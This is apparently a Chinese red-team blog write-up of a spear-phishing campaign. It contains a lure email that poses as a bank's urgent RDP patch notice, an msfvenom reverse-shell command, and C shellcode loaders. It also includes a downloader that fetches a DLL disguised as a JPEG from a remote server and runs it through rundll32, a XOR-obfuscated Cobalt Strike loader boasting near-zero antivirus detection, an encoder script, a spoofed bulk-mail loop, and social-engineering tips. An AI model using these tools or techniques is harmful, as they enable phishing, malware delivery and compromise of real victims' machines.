0x00 前言
本次是授權的魚叉案例,也都是嘗試,經驗不夠豐富(魚叉是工具,曾經捕魚要用魚叉,所以叫魚叉攻擊,一叉一准)
0x01 魚叉攻擊
“魚叉攻擊”是黑客攻擊方式之一,最常見的做法是,將木馬程序作為電子郵件的附件,並起上一個極具誘惑力的名稱,發送給目標電腦,誘使受害者打開附件,從而感染木馬。
0x02 准備開始
久久拿不到shell,遂開始通過魚叉攻擊,希望獲得一些收獲
詢問是否允許支持這類技術手段:
接着找同事提供素材,一封客戶的郵件,里面包含了郵件簽名、部門名稱、Logo
0x03 制作模板
大致內容為:
標題:上海xxx關於業務網、辦公網終端安全緊急加固公告
背景
北京時間 2019 年 5 月 15 日微軟發布安全補丁修復了 CVE 編號為 CVE-2019-0708 的 Windows 遠程桌面服務(RDP)遠程代碼執行漏洞,該漏洞在不需身份認證的情況下即可遠程觸發,危害與影響面極大。
受影響的版本
- Windows 7
- Windows Server 2008 R2
- Windows Server 2008
- Windows Server 2003
- Windows XP
由於該漏洞與去年的“Wannacry”勒索病毒具有相同等級的危害,由總行信息科技部研究決定,先推行漏洞加固補丁,確保業務網、辦公網全部修補漏洞。
安裝方式
解壓“上海xxxRDP漏洞補丁.zip”,解壓密碼:xxx123,解壓成功后,雙擊運行“RDP-VulnPatch.exe”即可:
修復成功會提示“修復漏洞成功!”
上海xxx
二零一九年五月二十日
其中解壓密碼也是目標常見的弱口令。
0x04 制作木馬
通過手工制作一個Windows/shell/reverse_tcp
的木馬DLL,先獲得Msfvenom生成的shellcode。
$ /opt/metasploit-framework/bin/msfvenom -p windows/shell/reverse_tcp LHOST=xxxx LPORT=8899 -f c -e x86/shikata_ga_nai -i 20
用之前的QQ拼音輸入法DLL劫持漏洞,來一次白利用。
VOID shdjshjdhsjhdjshdjs() { unsigned char buff[] = "\xbe\x65\x43\x60\x4a\xdb\xcd\xd9\x74\x24\xf4\x58\x31\xc9\xb1" "\xd6\x31\....省略部分.......7\xe7\xc3\x2a\xcd\x23\xb8\x07\x0b\x04\x54\x17" "\xc1\x57\x63\x4c\x60\xa7\x7a\xa7\x54\xe7\xc2"; PVOID p = NULL; if ((p = VirtualAlloc(NULL, sizeof(buff), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) == NULL) { printf("error"); } if (!(CopyMemory(p, buff, sizeof(buff)))) { printf("error"); } CODE code = (CODE)p; code(); }
參考文章:https://payloads.online/archivers/2018-06-09/1
0x05 搜集郵箱
在百度文庫搜索到來一些:
圖就不貼了,打碼麻煩。。。
寫了一個bash腳本用於發送偽造郵件:
for line in `cat mail` do echo "$line" sed "s/xx@xx.net/${line}/g" data.eml | swaks --to $line --from xx@smtp2go.com --h-From '=?UTF-8?B?xx?= <xx@xx.xx.cn>' --server mail.smtp2go.com -p 2525 -au USER -ap PASS --data - > /tmp/send.log done
data.eml是轉換出來的郵件正文
該技術是可以繞過SPF及DKIM檢測的。
具體參考:https://payloads.online/archivers/2019-05-09/1
由於是反彈cmd做測試,所以不會被360攔截
郵件效果如下:
0x06 一點點收獲
經過確認,不是客戶的機器。
0x07 第二個版本
由於之前使用的是QQ輸入法簽名加載器,當鼠標移動上去會顯示程序描述信息,這不是我想要的結果,於是開始手擼木馬….
開發環境:
- Windows 10 x64
- Visual Studio 2015
測試環境:
- Windows 7 x64
- 360衛士
0x08 木馬思路
寫一個下載器充當漏洞補丁程序,下載器再去服務器下載DLL模塊,使用Rundll32進行加載運行。
期間涉及到窗口提示優化、程序資源信息優化、權限申請
效果如下:
下載器代碼:
// Win32Project5.cpp : 定義控制台應用程序的入口點。 // #include "stdafx.h" #include <Windows.h> #include <iostream> #include <UrlMon.h> #pragma comment(lib, "urlmon.lib") using namespace std; HRESULT DownloadFile(PTCHAR URL, PTCHAR File); static TCHAR URL[] = TEXT("http://**.**.**.**:8000/fff.jpeg"); static TCHAR SaveFile[MAX_PATH]; static TCHAR FileName[] = TEXT("\\fff.dll"); // 下載文件 HRESULT DownloadFile(PTCHAR URL, PTCHAR File) { HRESULT hr = URLDownloadToFile(0, URL, File, 0, NULL); return hr; } int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow) { ZeroMemory(SaveFile, MAX_PATH); GetEnvironmentVariable(TEXT("TMP"), SaveFile, MAX_PATH); lstrcatW(SaveFile, FileName); if (DownloadFile(URL, SaveFile) != S_OK) { // wprintf(TEXT("Error: %d \n"), GetLastError()); MessageBox(NULL, TEXT("修復漏洞失敗,請檢查網絡,是否能夠連接到微軟服務器!"), TEXT("上海xxx"), MB_ICONWARNING | MB_OK); return 0; } lstrcatW(SaveFile, TEXT(",rundll32dllfun")); TCHAR opt[MAX_PATH]; ZeroMemory(opt, MAX_PATH); lstrcatW(opt, TEXT(" ")); lstrcatW(opt, SaveFile); PROCESS_INFORMATION pi; STARTUPINFO si = { sizeof(si) }; si.cb = sizeof(si); si.wShowWindow = TRUE; CreateProcess( TEXT("C:\\Windows\\System32\\rundll32.exe"), opt, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi); cout << GetLastError() << endl; MessageBox(NULL, TEXT("修復漏洞成功!"), TEXT("上海xxx"), MB_OK | MB_ICONINFORMATION); return 0; }
fff.jpeg的代碼:
// Win32Project6.cpp : 定義 DLL 應用程序的導出函數。 // #include "stdafx.h" #include "Win32Project6.h" typedef void(_stdcall *CODE)(); // 這是導出變量的一個示例 WIN32PROJECT6_API int nWin32Project6=0; extern "C" _declspec(dllexport) void __cdecl rundll32dllfun(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine,int nCmdShow) { unsigned char buf[] = "\xbf\xaa\x57\x39\xb0\xda\xdd\xd9\x74\x24\xf4\x58\x29\xc9\xb1" "\xd6\x83\xe8\xfc\x31\x78\x10\x03\x78\x10\x48\xa2\x81\x35\xa2" "\x82\x9c\xef\x7f\xc5\x15\x34\x8b\xad\xe6\xfd\xc2\x9d\x38\xbd" "\x31\x21\x78\x54\xba\xce\x82\xb4\xcc\xe5\x68\x8e\x22\x28\xd7" "\x06\x8c\x96\x0a\x7b\xed\x44\xf0\x94\x65\x0e\xa4\x3b\x2e\xcb" "\xe7\x17\x60\xaf\x1d\xa4\x57\x1f\xb1\xf3\x01\x31\x5c\x6a\x97" "\xf...省略..."; PVOID p = NULL; p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (p != NULL) { memcpy(p, buf, sizeof(buf)); CODE code = (CODE)p; code(); } return; }
其中extern "C" _declspec(dllexport) void __cdecl rundll32dllfun
是符合rundll32加載的固定函數定義格式。
當木馬運行后,會在進程列表創建rundll32.exe,它是一個系統文件。
UAC
為了使木馬獲取更高的權限,我開啟了管理員權限申請:
點擊是:
提示修復成功,然后程序關閉。
同時,本地機器上會生成一個dll文件:
進程中也會多出一個rundll32,360不會攔截:
服務端提供下載的服務器會多出日志:
0x09 發送郵件
郵箱地址通過http://www.skymem.info 采集到200多個,同時也寫了一個腳本:
估計要跑一晚上了,明天看收獲吧,如果有的話,繼續寫。
0x10 升級木馬
第一版是一個敗筆,應該關注更多視覺感受,比如圖標、logo,暗示它這個文件是可信的,不應該使用其他程序用作加載器,來達到免殺的效果。如果第二版的木馬當作第一版去發,我覺得成功率80%。
但是我覺得光采用反彈cmd的太爛了,木馬要像模像樣點。
於是,開始對木馬進行改造,下載器文件不變,只需要更新服務器上的fff.jpeg這個DLL即可,因為每次運行,都會下載這個DLL,然后用rundll32調用。
我想使得它上線cobaltstrike,繞過Windows Defender基本上沒啥問題了,既保證之前的郵件木馬可用,又能保證新的代碼更新。
重寫rundll32dllfun
即可:
fff.jpeg:
extern "C" _declspec(dllexport) void __cdecl rundll32dllfun(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow) { CHAR cpu_code[] = "\xf5\xe1\x80\x09\x09\x09\x69\x80\xec\x38\xdb\x6d\x82\x5b\x39\x82\x5b\x05\x82\x5b\x1d\x82\x7b\x21...省略部分....\x3e\x38\x27\x38\x30\x27\x38\x3d\x3d\x27\x3f\x30\x09\x09\x09\x09\x09"; DWORD dwCodeLength = sizeof(cpu_code); DWORD dwOldProtect = NULL; for (DWORD i = 0; i < dwCodeLength; i++) { cpu_code[i] ^= 9; } PVOID pCodeSpace = VirtualAlloc(NULL, dwCodeLength, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (pCodeSpace != NULL) { CopyMemory(pCodeSpace, cpu_code, dwCodeLength); Sleep(200); VirtualProtect(pCodeSpace, dwCodeLength, PAGE_EXECUTE, &dwOldProtect); CODE coder = (CODE)pCodeSpace; HANDLE hThread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)coder, NULL, 0, NULL); WaitForSingleObject(hThread, INFINITE); } return; }
這里采用了異或解碼shellcode、虛擬內存頁屬性調整、創建線程的方式執行shellcode,繞過90%的殺軟..
創建線程的好處就是,可以調用WaitForSingleObject來使得shellcode執行完畢進程才退出。
好幾次調試的時候,進程執行完畢了shellcode還沒運行,使用WaitForSingleObject就解決了這個問題~
為此為還寫了一個異或腳本:
import sys from argparse import ArgumentParser, FileType def process_bin(num, src_fp, dst_fp): shellcode = '' shellcode_size = 0 try: while True: code = src_fp.read(1) if code == '': break base10 = ord(code) ^ num code_hex = hex(base10) code_hex = code_hex.replace('0x','') if(len(code_hex) == 1): code_hex = '0' + code_hex shellcode += '\\x' + code_hex shellcode_size += 1 src_fp.close() dst_fp.write(shellcode) dst_fp.close() return shellcode_size except Exception as e: sys.stderr.writelines(str(e)) def main(): parser = ArgumentParser(prog='Shellcode X', description='[XOR The Cobaltstrike PAYLOAD.BINs] \t > Author: rvn0xsy@gmail.com') parser.add_argument('-v','--version',nargs='?') parser.add_argument('-s','--src',help=u'source bin file',type=FileType('rb'), required=True) parser.add_argument('-d','--dst',help=u'destination shellcode file',type=FileType('w+'),required=True) parser.add_argument('-n','--num',help=u'Confused number',type=int, default=90) args = parser.parse_args() shellcode_size = process_bin(args.num, args.src, args.dst) sys.stdout.writelines("[+]Shellcode Size : {} \n".format(shellcode_size)) if __name__ == "__main__": main()
生成一個payload.bin:
選擇raw:
使用效果:
把生成的文件shellcode直接可以放入源代碼進行編譯。
2/70的戰績:
微步在線:
0/25的戰績,一個都未殺出:
更新了fff.jpeg后,我只需要在cobaltstrike上等待新上線的機器即可。。。
只要不停的發。。
0x11 Cobaltstrike Spear Phish
Cobaltstrike已經具備了偽造郵件的功能,不用再記憶swaks命令了。
參考:https://cobaltstrike.com/help-spear-phish
為了使得smtp2go繞過spf檢查,所以在Bunce to
填寫xx@smtp2go.com
這兩天我的樣本被沙箱瘋狂分析:
不過這也正常…
0x12 總結
其實釣魚:
- 多搜集信息
- 多在附件里加一些目標相關的信息,降低心理防御
- 多換位思考一下就都明白了
- 多一些心理暗示的東西(木馬圖標、程序描述、UAC?)
- 可廣式撒網
- 木馬一定要可靠
- 白利用似乎只適合維持權限
網上那么多騙子,和防騙教育,為什么總是有人上鈎,100個人沒有,那1萬個總會有。
附加了UAC屬性的應用程序上面會有一個盾牌,有些用戶誤以為它是安全的。